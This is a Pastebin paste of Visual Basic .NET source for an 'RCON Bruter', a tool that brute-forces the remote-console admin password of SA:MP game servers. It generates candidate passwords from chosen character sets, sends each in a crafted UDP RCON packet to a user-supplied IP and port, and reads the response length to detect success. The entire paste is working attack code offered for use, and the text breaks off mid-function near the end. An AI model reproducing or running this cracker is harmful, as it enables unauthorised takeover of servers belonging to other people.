Advertisement
Guest User

Class1.vb

a guest
Feb 9th, 2013
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. 'Testing shit
  2. Imports System.Collections.Generic
  3. Imports System.Text
  4. Imports System.Linq
  5. Imports System.IO
  6. Imports System.Net
  7. Imports System.Net.Sockets
  8.  
  9. Namespace Query
  10.     Class RCONQuery
  11.         Private qSocket As Socket
  12.         Private address As IPAddress
  13.         Private _port As Integer = 0
  14.         Private _password As String = Nothing
  15.  
  16.         Private results As String() = New String(49) {}
  17.         Private _count As Integer = 0
  18.  
  19.         Public Sub New(IP As String, port As Integer, password As String)
  20.             qSocket = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
  21.  
  22.             qSocket.SendTimeout = 1
  23.             qSocket.ReceiveTimeout = 1
  24.  
  25.             Try
  26.                 address = Dns.GetHostAddresses(IP)(0)
  27.  
  28.  
  29.             Catch
  30.             End Try
  31.  
  32.             _port = port
  33.             _password = password
  34.         End Sub
  35.  
  36.         Public Function Send(command As String) As Boolean
  37.             Try
  38.                 Dim endpoint As New IPEndPoint(address, _port)
  39.  
  40.                 Using stream As New MemoryStream()
  41.                     Using writer As New BinaryWriter(stream)
  42.                         writer.Write("SAMP".ToCharArray())
  43.  
  44.                         Dim SplitIP As String() = address.ToString().Split("."c)
  45.  
  46.                         writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP(0))))
  47.                         writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP(1))))
  48.                         writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP(2))))
  49.                         writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP(3))))
  50.  
  51.                         writer.Write(CUShort(_port))
  52.  
  53.                         writer.Write("x"c)
  54.  
  55.                         writer.Write(CUShort(_password.Length))
  56.                         writer.Write(_password.ToCharArray())
  57.  
  58.                         writer.Write(CUShort(command.Length))
  59.                         writer.Write(command.ToCharArray())
  60.                     End Using
  61.  
  62.                     If qSocket.SendTo(stream.ToArray(), endpoint) > 0 Then
  63.                         Return True
  64.                     End If
  65.                 End Using
  66.  
  67.             Catch
  68.                 Return False
  69.             End Try
  70.  
  71.             Return False
  72.         End Function
  73.  
  74.         Public Function Recieve() As Integer
  75.             Try
  76.                 _count = 0
  77.  
  78.                 Dim endpoint As EndPoint = New IPEndPoint(address, _port)
  79.  
  80.                 Dim rBuffer As Byte() = New Byte(49) {}
  81.  
  82.                 Dim count As Integer = qSocket.ReceiveFrom(rBuffer, endpoint)
  83.  
  84.  
  85.                 _count = count
  86.  
  87.             Catch
  88.                 Return _count
  89.             End Try
  90.  
  91.             Return _count
  92.         End Function
  93.     End Class
  94. End Namespace
  95.  
  96. Namespace MainFunc
  97.     Class Program
  98. #Region "Private variables"
  99.  
  100.         Private Shared result As String
  101.  
  102.         Private Shared isMatched As Boolean = False
  103.  
  104.         Private Shared charactersToTestLength As Integer = 0
  105.         Private Shared computedKeys As Long = 0
  106.  
  107.         'private static char[] charactersToTest =
  108.        '         {
  109.        '            'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  110.        '            'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  111.        '            'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  112.        '            'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  113.        '            'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
  114.        '            '6','7','8','9','0','!','$','#','@','-','*','&','^',
  115.        '            '%','~','`','[',']','|','/','"',':',';',':','?','>',
  116.        '            ',','.','(',')','_','-','+','=','\\'
  117.        '        };
  118.  
  119.  
  120.         'private static char[] charactersToTest =
  121.        '         {
  122.        '            '1','2','3','4','5',
  123.        '            '6','7','8','9','0',
  124.        '        };
  125.  
  126.  
  127. #End Region
  128.  
  129.         Private Shared Sub Main(args As String())
  130.             'print welcome informations
  131.            Console.WriteLine("RCON Bruter by Matthieu503 for SA:MP, ver 0.1d-3")
  132.             Console.WriteLine("Tested on SA:MP 0.3a, 0.3b, 0.3c [ALL RELEASES]")
  133.             Console.WriteLine("Cracking is very slow due to limits in SA:MP 0.3")
  134.             Console.WriteLine("")
  135. #If (args) Then
  136.             If args.Length = 0 Then
  137.                 Console.WriteLine("USAGE: rcon_brute [ip] [port] [charset type] [password lenght]")
  138.                 Console.WriteLine("Charsets: 1 - All chars, 2 - Numbers, 3 - Letters, 4 - Special chars (e.g. *&%), 5 - Numbers&Letters, 6 - Letters&Special, 7 - Numbers&Special")
  139.                 Environment.[Exit](1)
  140.             End If
  141. #End If
  142.  
  143.  
  144. #If (args) Then
  145.             Dim ip As String = args(0)
  146.             Dim port As Integer = Int32.Parse(args(1))
  147.             Dim charset As Integer = Int32.Parse(args(2))
  148. #Else
  149.             Console.WriteLine("Enter target IP/HostName: ")
  150.             Dim ip As String = Console.ReadLine()
  151.             Console.WriteLine("Enter target port: ")
  152.             Dim port As Integer = Int32.Parse(Console.ReadLine())
  153.             Console.WriteLine("Select charset type: ")
  154.             Console.WriteLine("Charsets: 1 - All chars, 2 - Numbers, 3 - Letters, 4 - Special chars (e.g. *&%), 5 - Numbers&Letters, 6 - Letters&Special, 7 - Numbers&Special")
  155.             Dim charset As Integer = Int32.Parse(Console.ReadLine())
  156.             Console.WriteLine("Enter password lenght (cracking will start with this lenght, type 1 to normal mode): ")
  157.             Dim count As Integer = Int32.Parse(Console.ReadLine())
  158. #End If
  159.  
  160.  
  161.             If charset = 1 Then
  162.                 'all chars
  163.                Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  164.                     "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  165.                     "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  166.                     "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  167.                     "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  168.                     "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  169.                     "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  170.                     "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  171.                     "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
  172.                     "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
  173.                     "9"c, "0"c, "!"c, "$"c, "#"c, "@"c, _
  174.                     "-"c, "*"c, "&"c, "^"c, "%"c, "~"c, _
  175.                     "`"c, "["c, "]"c, "|"c, "/"c, """"c, _
  176.                     ":"c, ";"c, ":"c, "?"c, ">"c, ","c, _
  177.                     "."c, "("c, ")"c, "_"c, "-"c, "+"c, _
  178.                     "="c, "\"c}
  179.                 'start bruter
  180.                Dim timeStarted = DateTime.Now
  181.                 Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
  182.  
  183.                 charactersToTestLength = charactersToTest.Length
  184.  
  185.                 Dim estimatedPasswordLength = count - 1
  186.  
  187.                 While Not isMatched
  188.                     estimatedPasswordLength += 1
  189.                     startBruteForce(estimatedPasswordLength, ip, port, charset)
  190.                 End While
  191.  
  192.                 Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
  193.                 Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
  194.                 Console.WriteLine("Resolved password: {0}", result)
  195.                 Console.WriteLine("Computed keys: {0}", computedKeys)
  196.                 Console.ReadLine()
  197.             End If
  198.             If charset = 2 Then
  199.                 'numbers
  200.                Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
  201.                     "7"c, "8"c, "9"c, "0"c}
  202.                 'start bruter
  203.                Dim timeStarted = DateTime.Now
  204.                 Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
  205.  
  206.                 charactersToTestLength = charactersToTest.Length
  207.  
  208.                 Dim estimatedPasswordLength = count - 1
  209.  
  210.                 While Not isMatched
  211.                     estimatedPasswordLength += 1
  212.                     startBruteForce(estimatedPasswordLength, ip, port, charset)
  213.                 End While
  214.  
  215.                 Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
  216.                 Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
  217.                 Console.WriteLine("Resolved password: {0}", result)
  218.                 Console.WriteLine("Computed keys: {0}", computedKeys)
  219.                 Console.ReadLine()
  220.             End If
  221.             If charset = 3 Then
  222.                 'letters
  223.                Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  224.                     "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  225.                     "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  226.                     "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  227.                     "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  228.                     "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  229.                     "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  230.                     "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  231.                     "W"c, "X"c, "Y"c, "Z"c}
  232.                 'start bruter
  233.                Dim timeStarted = DateTime.Now
  234.                 Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
  235.  
  236.                 charactersToTestLength = charactersToTest.Length
  237.  
  238.                 Dim estimatedPasswordLength = count - 1
  239.  
  240.                 While Not isMatched
  241.                     estimatedPasswordLength += 1
  242.                     startBruteForce(estimatedPasswordLength, ip, port, charset)
  243.                 End While
  244.  
  245.                 Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
  246.                 Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
  247.                 Console.WriteLine("Resolved password: {0}", result)
  248.                 Console.WriteLine("Computed keys: {0}", computedKeys)
  249.                 Console.ReadLine()
  250.             End If
  251.             If charset = 4 Then
  252.                 'special
  253.                Dim charactersToTest As Char() = {"!"c, "$"c, "#"c, "@"c, "-"c, "*"c, _
  254.                     "&"c, "^"c, "%"c, "~"c, "`"c, "["c, _
  255.                     "]"c, "|"c, "/"c, """"c, ":"c, ";"c, _
  256.                     ":"c, "?"c, ">"c, ","c, "."c, "("c, _
  257.                     ")"c, "_"c, "-"c, "+"c, "="c, "\"c}
  258.                 'start bruter
  259.                Dim timeStarted = DateTime.Now
  260.                 Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
  261.  
  262.                 charactersToTestLength = charactersToTest.Length
  263.  
  264.                 Dim estimatedPasswordLength = count - 1
  265.  
  266.                 While Not isMatched
  267.                     estimatedPasswordLength += 1
  268.                     startBruteForce(estimatedPasswordLength, ip, port, charset)
  269.                 End While
  270.  
  271.                 Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
  272.                 Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
  273.                 Console.WriteLine("Resolved password: {0}", result)
  274.                 Console.WriteLine("Computed keys: {0}", computedKeys)
  275.                 Console.ReadLine()
  276.             End If
  277.             If charset = 5 Then
  278.                 'numbers&letters
  279.                Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  280.                     "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  281.                     "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  282.                     "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  283.                     "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  284.                     "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  285.                     "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  286.                     "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  287.                     "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
  288.                     "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
  289.                     "9"c, "0"c}
  290.                 'start bruter
  291.                Dim timeStarted = DateTime.Now
  292.                 Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
  293.  
  294.                 charactersToTestLength = charactersToTest.Length
  295.  
  296.                 Dim estimatedPasswordLength = count - 1
  297.  
  298.                 While Not isMatched
  299.                     estimatedPasswordLength += 1
  300.                     startBruteForce(estimatedPasswordLength, ip, port, charset)
  301.                 End While
  302.  
  303.                 Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
  304.                 Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
  305.                 Console.WriteLine("Resolved password: {0}", result)
  306.                 Console.WriteLine("Computed keys: {0}", computedKeys)
  307.                 Console.ReadLine()
  308.             End If
  309.             If charset = 6 Then
  310.                 'letters&special
  311.                Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  312.                     "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  313.                     "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  314.                     "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  315.                     "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  316.                     "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  317.                     "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  318.                     "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  319.                     "W"c, "X"c, "Y"c, "Z"c, "!"c, "$"c, _
  320.                     "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
  321.                     "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
  322.                     "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
  323.                     ">"c, ","c, "."c, "("c, ")"c, "_"c, _
  324.                     "-"c, "+"c, "="c, "\"c}
  325.                 'start bruter
  326.                Dim timeStarted = DateTime.Now
  327.                 Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
  328.  
  329.                 charactersToTestLength = charactersToTest.Length
  330.  
  331.                 Dim estimatedPasswordLength = count - 1
  332.  
  333.                 While Not isMatched
  334.                     estimatedPasswordLength += 1
  335.                     startBruteForce(estimatedPasswordLength, ip, port, charset)
  336.                 End While
  337.  
  338.                 Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
  339.                 Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
  340.                 Console.WriteLine("Resolved password: {0}", result)
  341.                 Console.WriteLine("Computed keys: {0}", computedKeys)
  342.                 Console.ReadLine()
  343.             End If
  344.             If charset = 7 Then
  345.                 'numbers&special
  346.                Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
  347.                     "7"c, "8"c, "9"c, "0"c, "!"c, "$"c, _
  348.                     "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
  349.                     "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
  350.                     "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
  351.                     ">"c, ","c, "."c, "("c, ")"c, "_"c, _
  352.                     "-"c, "+"c, "="c, "\"c}
  353.                 'start bruter
  354.                Dim timeStarted = DateTime.Now
  355.                 Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
  356.  
  357.                 charactersToTestLength = charactersToTest.Length
  358.  
  359.                 Dim estimatedPasswordLength = count - 1
  360.  
  361.                 While Not isMatched
  362.                     estimatedPasswordLength += 1
  363.                     startBruteForce(estimatedPasswordLength, ip, port, charset)
  364.                 End While
  365.  
  366.                 Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
  367.                 Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
  368.                 Console.WriteLine("Resolved password: {0}", result)
  369.                 Console.WriteLine("Computed keys: {0}", computedKeys)
  370.                 Console.ReadLine()
  371.             End If
  372.         End Sub
  373.  
  374. #Region "Private methods"
  375.  
  376.         Private Shared Sub startBruteForce(keyLength As Integer, ip As String, port As Integer, charset As Integer)
  377.             If charset = 1 Then
  378.                 'all chars
  379.                Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  380.                     "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  381.                     "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  382.                     "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  383.                     "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  384.                     "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  385.                     "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  386.                     "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  387.                     "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
  388.                     "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
  389.                     "9"c, "0"c, "!"c, "$"c, "#"c, "@"c, _
  390.                     "-"c, "*"c, "&"c, "^"c, "%"c, "~"c, _
  391.                     "`"c, "["c, "]"c, "|"c, "/"c, """"c, _
  392.                     ":"c, ";"c, ":"c, "?"c, ">"c, ","c, _
  393.                     "."c, "("c, ")"c, "_"c, "-"c, "+"c, _
  394.                     "="c, "\"c}
  395.                 Dim keyChars = createCharArray(keyLength, charactersToTest(0))
  396.                 Dim indexOfLastChar = keyLength - 1
  397.                 createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
  398.                     charset)
  399.             End If
  400.             If charset = 2 Then
  401.                 'numbers
  402.                Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
  403.                     "7"c, "8"c, "9"c, "0"c}
  404.                 Dim keyChars = createCharArray(keyLength, charactersToTest(0))
  405.                 Dim indexOfLastChar = keyLength - 1
  406.                 createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
  407.                     charset)
  408.             End If
  409.             If charset = 3 Then
  410.                 'letters
  411.                Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  412.                     "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  413.                     "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  414.                     "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  415.                     "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  416.                     "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  417.                     "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  418.                     "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  419.                     "W"c, "X"c, "Y"c, "Z"c}
  420.                 Dim keyChars = createCharArray(keyLength, charactersToTest(0))
  421.                 Dim indexOfLastChar = keyLength - 1
  422.                 createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
  423.                     charset)
  424.             End If
  425.             If charset = 4 Then
  426.                 'special
  427.                Dim charactersToTest As Char() = {"!"c, "$"c, "#"c, "@"c, "-"c, "*"c, _
  428.                     "&"c, "^"c, "%"c, "~"c, "`"c, "["c, _
  429.                     "]"c, "|"c, "/"c, """"c, ":"c, ";"c, _
  430.                     ":"c, "?"c, ">"c, ","c, "."c, "("c, _
  431.                     ")"c, "_"c, "-"c, "+"c, "="c, "\"c}
  432.                 Dim keyChars = createCharArray(keyLength, charactersToTest(0))
  433.                 Dim indexOfLastChar = keyLength - 1
  434.                 createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
  435.                     charset)
  436.             End If
  437.             If charset = 5 Then
  438.                 'numbers&letters
  439.                Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  440.                     "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  441.                     "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  442.                     "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  443.                     "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  444.                     "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  445.                     "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  446.                     "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  447.                     "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
  448.                     "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
  449.                     "9"c, "0"c}
  450.                 Dim keyChars = createCharArray(keyLength, charactersToTest(0))
  451.                 Dim indexOfLastChar = keyLength - 1
  452.                 createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
  453.                     charset)
  454.             End If
  455.             If charset = 6 Then
  456.                 'letters&special
  457.                Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  458.                     "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  459.                     "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  460.                     "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  461.                     "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  462.                     "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  463.                     "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  464.                     "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  465.                     "W"c, "X"c, "Y"c, "Z"c, "!"c, "$"c, _
  466.                     "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
  467.                     "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
  468.                     "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
  469.                     ">"c, ","c, "."c, "("c, ")"c, "_"c, _
  470.                     "-"c, "+"c, "="c, "\"c}
  471.                 Dim keyChars = createCharArray(keyLength, charactersToTest(0))
  472.                 Dim indexOfLastChar = keyLength - 1
  473.                 createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
  474.                     charset)
  475.             End If
  476.             If charset = 7 Then
  477.                 'numbers&special
  478.                Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
  479.                     "7"c, "8"c, "9"c, "0"c, "!"c, "$"c, _
  480.                     "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
  481.                     "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
  482.                     "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
  483.                     ">"c, ","c, "."c, "("c, ")"c, "_"c, _
  484.                     "-"c, "+"c, "="c, "\"c}
  485.                 Dim keyChars = createCharArray(keyLength, charactersToTest(0))
  486.                 Dim indexOfLastChar = keyLength - 1
  487.                 createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
  488.                     charset)
  489.             End If
  490.         End Sub
  491.  
  492.         Private Shared Function createCharArray(length As Integer, defaultChar As Char) As Char()
  493.             Return (From c In New Char(length - 1) {}).ToArray()
  494.         End Function
  495.  
  496.         Private Shared Sub createNewKey(currentCharPosition As Integer, keyChars As Char(), keyLength As Integer, indexOfLastChar As Integer, ip As String, port As Integer, _
  497.             charset As Integer)
  498.             If Not isMatched Then
  499.                 Dim nextCharPosition = currentCharPosition + 1
  500.                 For i As Integer = 0 To charactersToTestLength - 1
  501.                     If charset = 1 Then
  502.                         'all chars
  503.                        Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  504.                             "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  505.                             "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  506.                             "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  507.                             "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  508.                             "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  509.                             "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  510.                             "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  511.                             "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
  512.                             "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
  513.                             "9"c, "0"c, "!"c, "$"c, "#"c, "@"c, _
  514.                             "-"c, "*"c, "&"c, "^"c, "%"c, "~"c, _
  515.                             "`"c, "["c, "]"c, "|"c, "/"c, """"c, _
  516.                             ":"c, ";"c, ":"c, "?"c, ">"c, ","c, _
  517.                             "."c, "("c, ")"c, "_"c, "-"c, "+"c, _
  518.                             "="c, "\"c}
  519.                         keyChars(currentCharPosition) = charactersToTest(i)
  520.                         If currentCharPosition < indexOfLastChar Then
  521.                             createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
  522.                                 charset)
  523.                         Else
  524.                             computedKeys += 1
  525.                             'check rcon
  526.                            'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  527.                            Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
  528.                             Console.Write("Checking rcon password: ")
  529.                             Console.Write(New [String](keyChars))
  530.                             Console.WriteLine("")
  531.                             If Not sQuery.Send("echo test") Then
  532.                                 Console.WriteLine("ERROR: Bad IP/HostName/Port")
  533.                                 Environment.[Exit](2)
  534.                             End If
  535.                             Dim count As Integer = sQuery.Recieve()
  536.                             If count = 17 Then
  537.                                 If Not isMatched Then
  538.                                     isMatched = True
  539.                                     result = New [String](keyChars)
  540.                                     Console.WriteLine("*** Success! received package: 17! ***")
  541.                                     Console.WriteLine("")
  542.                                 End If
  543.                                 Return
  544.                             End If
  545.                             If count = 35 Then
  546.                                 Console.WriteLine("Failed, received package: 35")
  547.                             End If
  548.                         End If
  549.                     End If
  550.                     If charset = 2 Then
  551.                         'numbers
  552.                        Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
  553.                             "7"c, "8"c, "9"c, "0"c}
  554.                         keyChars(currentCharPosition) = charactersToTest(i)
  555.                         If currentCharPosition < indexOfLastChar Then
  556.                             createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
  557.                                 charset)
  558.                         Else
  559.                             computedKeys += 1
  560.                             'check rcon
  561.                            'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  562.                            Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
  563.                             Console.Write("Checking rcon password: ")
  564.                             Console.Write(New [String](keyChars))
  565.                             Console.WriteLine("")
  566.                             If Not sQuery.Send("echo test") Then
  567.                                 Console.WriteLine("ERROR: Bad IP/HostName/Port")
  568.                                 Environment.[Exit](2)
  569.                             End If
  570.                             Dim count As Integer = sQuery.Recieve()
  571.                             If count = 17 Then
  572.                                 If Not isMatched Then
  573.                                     isMatched = True
  574.                                     result = New [String](keyChars)
  575.                                     Console.WriteLine("*** Success! received package: 17! ***")
  576.                                     Console.WriteLine("")
  577.                                 End If
  578.                                 Return
  579.                             End If
  580.                             If count = 35 Then
  581.                                 Console.WriteLine("Failed, received package: 35")
  582.                             End If
  583.                         End If
  584.                     End If
  585.                     If charset = 3 Then
  586.                         'letters
  587.                        Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  588.                             "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  589.                             "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  590.                             "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  591.                             "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  592.                             "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  593.                             "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  594.                             "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  595.                             "W"c, "X"c, "Y"c, "Z"c}
  596.                         keyChars(currentCharPosition) = charactersToTest(i)
  597.                         If currentCharPosition < indexOfLastChar Then
  598.                             createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
  599.                                 charset)
  600.                         Else
  601.                             computedKeys += 1
  602.                             'check rcon
  603.                            'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  604.                            Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
  605.                             Console.Write("Checking rcon password: ")
  606.                             Console.Write(New [String](keyChars))
  607.                             Console.WriteLine("")
  608.                             If Not sQuery.Send("echo test") Then
  609.                                 Console.WriteLine("ERROR: Bad IP/HostName/Port")
  610.                                 Environment.[Exit](2)
  611.                             End If
  612.                             Dim count As Integer = sQuery.Recieve()
  613.                             If count = 17 Then
  614.                                 If Not isMatched Then
  615.                                     isMatched = True
  616.                                     result = New [String](keyChars)
  617.                                     Console.WriteLine("*** Success! received package: 17! ***")
  618.                                     Console.WriteLine("")
  619.                                 End If
  620.                                 Return
  621.                             End If
  622.                             If count = 35 Then
  623.                                 Console.WriteLine("Failed, received package: 35")
  624.                             End If
  625.                         End If
  626.                     End If
  627.                     If charset = 4 Then
  628.                         'special
  629.                        Dim charactersToTest As Char() = {"!"c, "$"c, "#"c, "@"c, "-"c, "*"c, _
  630.                             "&"c, "^"c, "%"c, "~"c, "`"c, "["c, _
  631.                             "]"c, "|"c, "/"c, """"c, ":"c, ";"c, _
  632.                             ":"c, "?"c, ">"c, ","c, "."c, "("c, _
  633.                             ")"c, "_"c, "-"c, "+"c, "="c, "\"c}
  634.                         keyChars(currentCharPosition) = charactersToTest(i)
  635.                         If currentCharPosition < indexOfLastChar Then
  636.                             createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
  637.                                 charset)
  638.                         Else
  639.                             computedKeys += 1
  640.                             'check rcon
